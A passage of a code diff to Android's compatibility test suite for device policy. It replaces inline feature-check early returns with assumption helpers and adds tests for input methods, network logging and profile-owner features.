         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockScreenInfoTest", mUserId);
     }
 
     @Test
     public void testProfileOwnerCanGetDeviceIdentifiers() throws Exception {
         // The Profile Owner should have access to all device identifiers.
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdentifiersTest",
                 "testProfileOwnerCanGetDeviceIdentifiersWithPermission", mUserId);
     }
 
     @Test
     public void testDevicePolicyManagerParentSupport() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".OrgOwnedProfileOwnerParentTest", mUserId);
     }
 
     @Test
     public void testUserRestrictionSetOnParentLogged() throws Exception {
-        if (!mHasFeature|| !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DevicePolicyLoggingParentTest",
                     "testUserRestrictionLogged", mUserId);
@@ -185,9 +166,8 @@
 
     @Test
     public void testUserRestrictionsSetOnParentAreNotPersisted() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
+
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
                 "testAddUserRestrictionDisallowConfigDateTime_onParent", mUserId);
@@ -203,30 +183,18 @@
 
     @Test
     public void testPerProfileUserRestrictionOnParent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
                 "testPerProfileUserRestriction_onParent", mUserId);
     }
 
     @Test
     public void testPerDeviceUserRestrictionOnParent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
                 "testPerDeviceUserRestriction_onParent", mUserId);
     }
 
     @Test
     public void testCameraDisabledOnParentIsEnforced() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
         try {
             runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
@@ -243,9 +211,6 @@
 
     @Test
     public void testCameraDisabledOnParentLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
                     runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DevicePolicyLoggingParentTest",
                             "testCameraDisabledLogged", mUserId);
@@ -264,9 +229,6 @@
     @FlakyTest(bugId = 137093665)
     @Test
     public void testSecurityLogging() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Backup stay awake setting because testGenerateLogs() will turn it off.
         final String stayAwake = getDevice().getSetting("global", "stay_on_while_plugged_in");
         try {
@@ -310,9 +272,6 @@
 
     @Test
     public void testSetTime() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".TimeManagementTest", "testSetTime", mUserId);
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".TimeManagementTest",
                 "testSetTime_failWhenAutoTimeEnabled", mUserId);
@@ -320,9 +279,6 @@
 
     @Test
     public void testSetTimeZone() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".TimeManagementTest", "testSetTimeZone", mUserId);
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".TimeManagementTest",
                 "testSetTimeZone_failIfAutoTimeZoneEnabled", mUserId);
@@ -331,18 +287,13 @@
     @FlakyTest(bugId = 137088260)
     @Test
     public void testWifi() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
-            return;
-        }
+        assumeHasWifiFeature();
+
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".WifiTest", "testGetWifiMacAddress", mUserId);
     }
 
     @Test
     public void testFactoryResetProtectionPolicy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".FactoryResetProtectionPolicyTest", mUserId);
     }
 
@@ -350,18 +301,11 @@
     @Test
     @Ignore("b/145932189")
     public void testSystemUpdatePolicy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".systemupdate.SystemUpdatePolicyTest", mUserId);
     }
 
     @Test
     public void testInstallUpdate() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         pushUpdateFileToDevice("notZip.zi");
         pushUpdateFileToDevice("empty.zip");
         pushUpdateFileToDevice("wrongPayload.zip");
@@ -372,10 +316,6 @@
 
     @Test
     public void testIsDeviceOrganizationOwnedWithManagedProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceOwnershipTest",
                 "testCallingIsOrganizationOwnedWithManagedProfileExpectingTrue",
                 mUserId);
@@ -388,34 +328,21 @@
 
     @Test
     public void testCommonCriteriaMode() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".CommonCriteriaModeTest", mUserId);
     }
 
     @Test
     public void testAdminConfiguredNetworks() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".AdminConfiguredNetworksTest", mUserId);
     }
 
     @Test
     public void testApplicationHiddenParent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ApplicationHiddenParentTest", mUserId);
     }
 
     @Test
     public void testSetKeyguardDisabledFeatures() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".KeyguardDisabledFeaturesTest",
                 "testSetKeyguardDisabledFeatures_onParent", mUserId);
     }
@@ -434,10 +361,6 @@
 
     @Test
     public void testPersonalAppsSuspensionNormalApp() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
         // Initially the app should be launchable.
         assertCanStartPersonalApp(DEVICE_ADMIN_PKG, true);
@@ -451,10 +374,6 @@
 
     @Test
     public void testPersonalAppsSuspensionInstalledApp() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         setPersonalAppsSuspended(true);
 
         installAppAsUser(TEST_IME_APK, mPrimaryUserId);
@@ -473,9 +392,7 @@
 
     @Test
     public void testPersonalAppsSuspensionSms() throws Exception {
-        if (!mHasFeature || !mHasTelephony) {
-            return;
-        }
+        assumeHasTelephonyFeature();
 
         // Install an SMS app and make it the default.
         installAppAsUser(SIMPLE_SMS_APP_APK, mPrimaryUserId);
@@ -502,10 +419,6 @@
 
     @Test
     public void testPersonalAppsSuspensionIme() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(TEST_IME_APK, mPrimaryUserId);
         setupIme(TEST_IME_COMPONENT, mPrimaryUserId);
         setPersonalAppsSuspended(true);
@@ -516,10 +429,6 @@
 
     @Test
     public void testCanRestrictAccountManagementOnParentProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".AccountManagementParentTest",
                 "testSetAccountManagementDisabledOnParent", mUserId);
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
@@ -532,6 +441,26 @@
         }
     }
 
+    @Test
+    public void testPermittedInputMethods() throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".InputMethodsTest", mUserId);
+    }
+
+    @Test
+    public void testPermittedInputMethodsLogged() throws Exception {
+        assertMetricsLogged(getDevice(), () ->
+                        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".InputMethodsTest",
+                                "testPermittedInputMethodsOnParent", mUserId),
+                new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
+                        .setAdminPackageName(DEVICE_ADMIN_PKG)
+                        .setStrings(CALLED_FROM_PARENT, new String[0])
+                        .build(),
+                new DevicePolicyEventWrapper.Builder(EventId.SET_PERMITTED_INPUT_METHODS_VALUE)
+                        .setAdminPackageName(DEVICE_ADMIN_PKG)
+                        .setStrings(CALLED_FROM_PARENT, new String[0])
+                        .build());
+    }
+
     private void setupIme(String imeComponent, int userId) throws Exception {
         // Wait until IMS service is registered by the system.
         waitForOutput("Failed waiting for IME to become available",
@@ -550,9 +479,6 @@
 
     @Test
     public void testScreenCaptureDisabled() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
         setPoAsUser(mPrimaryUserId);
 
@@ -614,9 +540,6 @@
 
     @Test
     public void testSetPersonalAppsSuspendedLogged() throws Exception {
-        if (!mHasFeature|| !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
                     runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DevicePolicyLoggingTest",
                             "testSetPersonalAppsSuspendedLogged", mUserId);
@@ -632,9 +555,6 @@
 
     @Test
     public void testSetManagedProfileMaximumTimeOffLogged() throws Exception {
-        if (!mHasFeature|| !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
                     runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
                             "testSetManagedProfileMaximumTimeOff", mUserId);
@@ -652,9 +572,6 @@
 
     @Test
     public void testWorkProfileMaximumTimeOff() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".PersonalAppsSuspensionTest",
                 "testSetManagedProfileMaximumTimeOff1Sec", mUserId);
@@ -679,9 +596,6 @@
 
     @Test
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
 
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerHelper",
@@ -693,21 +607,92 @@
 
     @Test
     public void testDeviceIdAttestationForProfileOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Test that Device ID attestation works for org-owned profile owner.
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdAttestationTest",
                 "testSucceedsWithProfileOwnerIdsGrant", mUserId);
 
     }
 
+    @Test
+    public void testNetworkLogging() throws Exception {
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        testNetworkLoggingOnWorkProfile(DEVICE_ADMIN_PKG, ".NetworkLoggingTest");
+    }
+
+    @Test
+    public void testNetworkLoggingDelegate() throws Exception {
+        installAppAsUser(DELEGATE_APP_APK, mUserId);
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        try {
+            runDeviceTestsAsUser(DELEGATE_APP_PKG, ".WorkProfileNetworkLoggingDelegateTest",
+                    "testCannotAccessApis", mUserId);
+            // Set network logging delegate
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".NetworkLoggingTest",
+                    "testSetDelegateScope_delegationNetworkLogging", mUserId);
+
+            testNetworkLoggingOnWorkProfile(DELEGATE_APP_PKG,
+                    ".WorkProfileNetworkLoggingDelegateTest");
+        } finally {
+            // Remove network logging delegate
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".NetworkLoggingTest",
+                    "testSetDelegateScope_noDelegation", mUserId);
+        }
+    }
+
+    private void testNetworkLoggingOnWorkProfile(String packageName, String testClassName)
+            throws Exception {
+        try {
+            // Turn network logging on.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testSetNetworkLogsEnabled_true", mUserId);
+
+            // Connect to websites from work profile, should be logged.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testConnectToWebsites_shouldBeLogged", mUserId);
+            // Connect to websites from personal profile, should not be logged.
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".NetworkLoggingTest",
+                    "testConnectToWebsites_shouldNotBeLogged", mPrimaryUserId);
+
+            // Verify all work profile network logs have been received.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testRetrieveNetworkLogs_forceNetworkLogs_receiveNetworkLogs", mUserId);
+        } finally {
+            // Turn network logging off.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testSetNetworkLogsEnabled_false", mUserId);
+        }
+    }
+
+    @Test
+    public void testNetworkLoggingLogged() throws Exception {
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        assertMetricsLogged(getDevice(), () -> {
+            testNetworkLoggingOnWorkProfile(DEVICE_ADMIN_PKG, ".NetworkLoggingTest");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_NETWORK_LOGGING_ENABLED_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(false)
+                .setInt(1)
+                .setStrings(LOG_TAG_PROFILE_OWNER)
+                .build(),
+           new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_NETWORK_LOGS_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(false)
+                .setStrings(LOG_TAG_PROFILE_OWNER)
+                .build(),
+           new DevicePolicyEventWrapper.Builder(EventId.SET_NETWORK_LOGGING_ENABLED_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(false)
+                .setInt(0)
+                .setStrings(LOG_TAG_PROFILE_OWNER)
+                .build());
+    }
+
     private void toggleQuietMode(boolean quietModeEnable) throws Exception {
         final String str;
         // TV launcher uses intent filter priority to prevent 3p launchers replacing it
         // this causes the activity that toggles quiet mode to be suspended
         // and the profile would never start
-        if (hasDeviceFeature("android.software.leanback")) {
+        if (isTv()) {
             str = quietModeEnable ? String.format("am stop-user -f %d", mUserId)
                     : String.format("am start-user %d", mUserId);
         } else {
@@ -721,9 +706,6 @@
         String output = getDevice().executeShellCommand(String.format(
                 "cmd package set-home-activity --user %d %s", mPrimaryUserId, component));
         assertTrue("failed to set home activity", output.contains("Success"));
-        output = getDevice().executeShellCommand(
-                String.format("cmd shortcut clear-default-launcher --user %d", mPrimaryUserId));
-        assertTrue("failed to clear default launcher", output.contains("Success"));
         executeShellCommand("am start -W -n " + component);
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java
index bf90e78..9fd9bd6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/PasswordComplexityTest.java
@@ -20,13 +20,14 @@
     private int mCurrentUserId;
 
     @Override
+    protected void assumeTestEnabled() throws Exception {
+        assumeHasSecureLockScreenFeature();
+    }
+
+    @Override
     public void setUp() throws Exception {
         super.setUp();
 
-        if (!mHasSecureLockScreen) {
-          return;
-        }
-
         if (!getDevice().executeShellCommand("cmd lock_settings verify")
                 .startsWith("Lock credential verified successfully")) {
             fail("Please remove the device screen lock before running this test");
@@ -38,19 +39,13 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasSecureLockScreen) {
-            getDevice().uninstallPackage(PKG);
-        }
+        getDevice().uninstallPackage(PKG);
 
         super.tearDown();
     }
 
     @Test
     public void testGetPasswordComplexity() throws Exception {
-        if (!mHasSecureLockScreen) {
-            return;
-        }
-
         assertMetricsLogged(
                 getDevice(),
                 () -> runDeviceTestsAsUser(PKG, CLS, mCurrentUserId),
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
index 35015df..aedcabc 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
@@ -26,7 +26,6 @@
 public class ProfileOwnerTest extends BaseDevicePolicyTest {
     private static final String PROFILE_OWNER_PKG = "com.android.cts.profileowner";
     private static final String PROFILE_OWNER_APK = "CtsProfileOwnerApp.apk";
-    private static final String FEATURE_BACKUP = "android.software.backup";
 
     private static final String ADMIN_RECEIVER_TEST_CLASS =
             PROFILE_OWNER_PKG + ".BaseProfileOwnerTest$BasicAdminReceiver";
@@ -40,67 +39,54 @@
         mUserId = getPrimaryUser();
 
 
-        if (mHasFeature) {
-            installAppAsUser(PROFILE_OWNER_APK, mUserId);
-            if (!setProfileOwner(
-                    PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
-                    /* expectFailure */ false)) {
-                removeAdmin(PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-                getDevice().uninstallPackage(PROFILE_OWNER_PKG);
-                fail("Failed to set profile owner");
-            }
+        installAppAsUser(PROFILE_OWNER_APK, mUserId);
+        if (!setProfileOwner(
+                PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
+                /* expectFailure */ false)) {
+            removeAdmin(PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+            getDevice().uninstallPackage(PROFILE_OWNER_PKG);
+            fail("Failed to set profile owner");
         }
     }
 
     @Test
     public void testManagement() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeProfileOwnerTest("ManagementTest");
     }
 
     @Test
     public void testAdminActionBookkeeping() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeProfileOwnerTest("AdminActionBookkeepingTest");
     }
 
     @Test
     public void testAppUsageObserver() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeProfileOwnerTest("AppUsageObserverTest");
     }
 
     @Test
     public void testBackupServiceEnabling() throws Exception {
-        final boolean hasBackupService = getDevice().hasFeature(FEATURE_BACKUP);
         // The backup service cannot be enabled if the backup feature is not supported.
-        if (!mHasFeature || !hasBackupService) {
-            return;
-        }
+        assumeHasBackupFeature();
+
         executeProfileOwnerTest("BackupServicePoliciesTest");
     }
 
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration() throws Exception {
+        executeProfileOwnerTest("DevicePolicySafetyCheckerIntegrationTest");
+    }
+
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove profile owner.",
-                    removeAdmin(PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
-            getDevice().uninstallPackage(PROFILE_OWNER_PKG);
-        }
+        assertTrue("Failed to remove profile owner.",
+                removeAdmin(PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
+        getDevice().uninstallPackage(PROFILE_OWNER_PKG);
 
         super.tearDown();
     }
 
     private void executeProfileOwnerTest(String testClassName) throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         String testClass = PROFILE_OWNER_PKG + "." + testClassName;
         runDeviceTestsAsUser(PROFILE_OWNER_PKG, testClass, mPrimaryUserId);
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
index 1132650..9927b51 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
@@ -35,35 +35,29 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        if (mHasFeature) {
-            mUserId = USER_OWNER;
+        mUserId = USER_OWNER;
 
-            installAppAsUser(DEVICE_ADMIN_APK, mUserId);
-            if (!setProfileOwner(
-                    DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-                getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-                fail("Failed to set profile owner");
-            }
+        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        if (!setProfileOwner(
+                DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
+                /*expectFailure*/ false)) {
+            removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+            fail("Failed to set profile owner");
         }
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove profile owner.",
-                    removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
-            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-        }
+        assertTrue("Failed to remove profile owner.",
+                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
+        getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+
         super.tearDown();
     }
 
     @Test
     public void testDelegatedCertInstaller() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG,
                 ".DelegatedCertInstallerTest", "testSetNotExistCertInstallerPackage",  mUserId);
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
index 1313c31..2789739 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
@@ -1,9 +1,12 @@
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import android.platform.test.annotations.LargeTest;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
 import org.junit.Test;
@@ -16,6 +19,7 @@
  * CTS to verify toggling quiet mode in work profile by using
  * {@link android.os.UserManager#requestQuietModeEnabled(boolean, android.os.UserHandle)}.
  */
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class QuietModeHostsideTest extends BaseDevicePolicyTest {
     private static final String TEST_PACKAGE = "com.android.cts.launchertests";
     private static final String TEST_CLASS = ".QuietModeTest";
@@ -47,39 +51,33 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        mHasFeature = mHasFeature & hasDeviceFeature("android.software.managed_users");
+        mOriginalLauncher = getDefaultLauncher();
 
-        if (mHasFeature) {
-            mOriginalLauncher = getDefaultLauncher();
+        installAppAsUser(TEST_APK, mPrimaryUserId);
+        installAppAsUser(TEST_LAUNCHER_APK, mPrimaryUserId);
 
-            installAppAsUser(TEST_APK, mPrimaryUserId);
-            installAppAsUser(TEST_LAUNCHER_APK, mPrimaryUserId);
+        waitForBroadcastIdle();
 
-            waitForBroadcastIdle();
+        createAndStartManagedProfile();
+        installAppAsUser(TEST_APK, mProfileId);
 
-            createAndStartManagedProfile();
-            installAppAsUser(TEST_APK, mProfileId);
-
-            waitForBroadcastIdle();
-            wakeupAndDismissKeyguard();
-        }
+        waitForBroadcastIdle();
+        wakeupAndDismissKeyguard();
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            uninstallRequiredApps();
-            getDevice().uninstallPackage(TEST_LAUNCHER_PACKAGE);
-        }
+        uninstallRequiredApps();
+        getDevice().uninstallPackage(TEST_LAUNCHER_PACKAGE);
+
         super.tearDown();
     }
 
     @LargeTest
     @Test
     public void testQuietMode_defaultForegroundLauncher() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // Add a lockscreen to test the case that profile with unified challenge can still
         // be turned on without asking the user to enter the lockscreen password.
         changeUserCredential(/* newCredential= */ TEST_PASSWORD, /* oldCredential= */ null,
@@ -100,9 +98,6 @@
     @LargeTest
     @Test
     public void testQuietMode_notForegroundLauncher() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 TEST_PACKAGE,
                 TEST_CLASS,
@@ -114,9 +109,6 @@
     @LargeTest
     @Test
     public void testQuietMode_notDefaultLauncher() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 TEST_PACKAGE,
                 TEST_CLASS,
@@ -140,9 +132,6 @@
 
     private void checkBroadcastManagedProfileAvailable(boolean withCrossProfileAppOps)
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installCrossProfileApps();
         if (withCrossProfileAppOps) {
             enableCrossProfileAppsOp();
@@ -208,9 +197,8 @@
     @LargeTest
     @Test
     public void testQuietMode_noCredentialRequest() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // Set a separate work challenge so turning on the profile requires entering the
         // separate challenge.
         changeUserCredential(/* newCredential= */ TEST_PASSWORD, /* oldCredential= */ null,
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
index b3983b6..e38ed50 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
@@ -20,8 +20,6 @@
 
 import org.junit.Test;
 
-import com.android.tradefed.device.DeviceNotAvailableException;
-
 /**
  * Host side tests for separate profile challenge permissions.
  * Run the CtsSeparateProfileChallengeApp device side test.
@@ -37,11 +35,13 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
+
         setHiddenApiPolicyOn();
     }
 
     @Override
     public void tearDown() throws Exception {
+
         removeTestUsers();
         getDevice().uninstallPackage(SEPARATE_PROFILE_PKG);
         setHiddenApiPolicyPreviousOrOff();
@@ -51,9 +51,7 @@
     @SecurityTest
     @Test
     public void testSeparateProfileChallengePermissions() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser) {
-            return;
-        }
+        assumeCanCreateOneManagedUser();
 
         // Create managed profile.
         final int profileUserId = createManagedProfile(mPrimaryUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
index 45156c2..5921d2e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
@@ -54,19 +54,18 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            if (mRemoveOwnerInTearDown) {
-                assertTrue("Failed to clear owner",
-                        removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
-                                mDeviceOwnerUserId));
-                runTests("userrestrictions.CheckNoOwnerRestrictionsTest", mDeviceOwnerUserId);
-            }
-
-            // DO/PO might have set DISALLOW_REMOVE_USER, so it needs to be done after removing
-            // them.
-            removeTestUsers();
-            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+        if (mRemoveOwnerInTearDown) {
+            assertTrue("Failed to clear owner",
+                    removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
+                            mDeviceOwnerUserId));
+            runTests("userrestrictions.CheckNoOwnerRestrictionsTest", mDeviceOwnerUserId);
         }
+
+        // DO/PO might have set DISALLOW_REMOVE_USER, so it needs to be done after removing
+        // them.
+        removeTestUsers();
+        getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+
         super.tearDown();
     }
 
@@ -82,9 +81,6 @@
 
     @Test
     public void testUserRestrictions_deviceOwnerOnly() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         setDo();
 
         runTests("userrestrictions.DeviceOwnerUserRestrictionsTest",
@@ -97,14 +93,6 @@
 
     @Test
     public void testUserRestrictions_primaryProfileOwnerOnly() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        if (hasUserSplit()) {
-            // Can't set PO on user-0 in this mode.
-            return;
-        }
-
         setPoAsUser(mDeviceOwnerUserId);
 
         runTests("userrestrictions.PrimaryProfileOwnerUserRestrictionsTest",
@@ -118,9 +106,8 @@
     // Checks restrictions for managed user (NOT managed profile).
     @Test
     public void testUserRestrictions_secondaryProfileOwnerOnly() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser) {
-            return;
-        }
+        assumeSupportsMultiUser();
+
         final int secondaryUserId = createUser();
         setPoAsUser(secondaryUserId);
 
@@ -135,9 +122,7 @@
     // Checks restrictions for managed profile.
     @Test
     public void testUserRestrictions_managedProfileOwnerOnly() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser || !mHasManagedUserFeature) {
-            return;
-        }
+        assumeCanCreateOneManagedUser();
 
         // Create managed profile.
